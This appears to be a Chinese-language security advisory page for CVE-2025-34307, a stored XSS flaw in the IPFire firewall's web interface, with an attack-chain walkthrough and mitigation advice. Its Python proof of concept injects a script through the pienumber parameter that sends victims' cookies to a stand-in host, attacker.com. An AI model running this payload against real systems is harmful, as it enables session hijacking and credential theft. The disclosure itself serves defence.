IPBUF安全漏洞报告
English
CVE-2025-34307 CVSS 5.4 中危

CVE-2025-34307 - IPFire防火墙国家搜索设置存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34307
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire < 2.29 (Core Update 198)

相关标签

存储型XSSIPFireCVE-2025-34307Web应用安全跨站脚本防火墙认证用户漏洞Core Update 198

漏洞概述

CVE-2025-34307是IPFire防火墙系统中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响IPFire 2.29之前的版本(Core Update 198)。攻击者利用该漏洞可以通过pienumber参数在防火墙国家搜索默认设置功能中注入恶意JavaScript代码。由于该参数值被存储在服务器端并在后续页面渲染时未进行充分的输入验证和输出编码,注入的恶意脚本会在其他用户访问受影响页面时执行,从而窃取用户会话Cookie、劫持用户账户或进行其他恶意操作。此漏洞需要攻击者具有低权限认证账户,且需要用户交互才能触发,但危害性在于一旦恶意代码被注入,所有访问该设置页面的用户都会受到影响,形成持久的攻击向量。

技术细节

该漏洞存在于IPFire的Web管理界面防火墙日志设置功能中。当用户更新防火墙国家搜索默认值时,应用程序向/cgi-bin/logs.cgi/firewalllogcountry.dat端点发送HTTP POST请求,其中pienumber参数用于指定显示的国家数量。该参数值在接收后直接存储到数据库或配置文件中,未经过滤或转义处理。当管理员或其他用户后续访问防火墙国家搜索设置页面时,存储的pienumber值被直接嵌入到HTML响应中,浏览器将其作为脚本代码执行。攻击者可以通过构造包含JavaScript代码的pienumber参数值(如:<script>alert(document.cookie)</script>)来实现持久性攻击。由于这是存储型XSS,恶意代码会一直存在于系统中直到被手动清除或系统升级到修复版本。攻击者可以利用此漏洞进行会话劫持、凭据窃取、篡改页面内容或诱导用户执行未授权操作。

攻击链分析

STEP 1
步骤1
攻击者获取IPFire系统的低权限认证账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的pienumber参数值
STEP 3
步骤3
攻击者向/cgi-bin/logs.cgi/firewalllogcountry.dat发送HTTP POST请求,注入XSS payload
STEP 4
步骤4
恶意代码被存储在服务器端(数据库或配置文件)
STEP 5
步骤5
受害者(管理员或其他用户)访问防火墙国家搜索设置页面
STEP 6
步骤6
页面渲染时未对存储的pienumber值进行输出编码,恶意脚本在受害者浏览器中执行
STEP 7
步骤7
攻击者通过注入的脚本窃取受害者Cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-34307 Stored XSS PoC # Target: IPFire < 2.29 (Core Update 198) # Endpoint: /cgi-bin/logs.cgi/firewalllogcountry.dat import requests import sys target_url = "http://target-ipfire:444/cgi-bin/logs.cgi/firewalllogcountry.dat" # Malicious payload for stored XSS via pienumber parameter xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' data = { "pienumber": xss_payload, "ACTION": "Update", "SUBMIT": "Update" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "session_id=authenticated_user_session" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload stored in pienumber parameter") print("[+] Script will execute when admin views firewall country settings") else: print("[-] Failed to inject payload") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

IPFire < 2.29 (Core Update 198)

防御指南

临时缓解措施
在官方补丁发布之前,建议限制IPFire管理界面的访问权限,仅允许受信任的管理员访问;对于必须访问管理界面的用户,建议使用独立的浏览器会话并启用额外的安全防护插件;监控Web服务器日志以检测异常的XSS攻击尝试;考虑临时禁用防火墙国家搜索设置功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表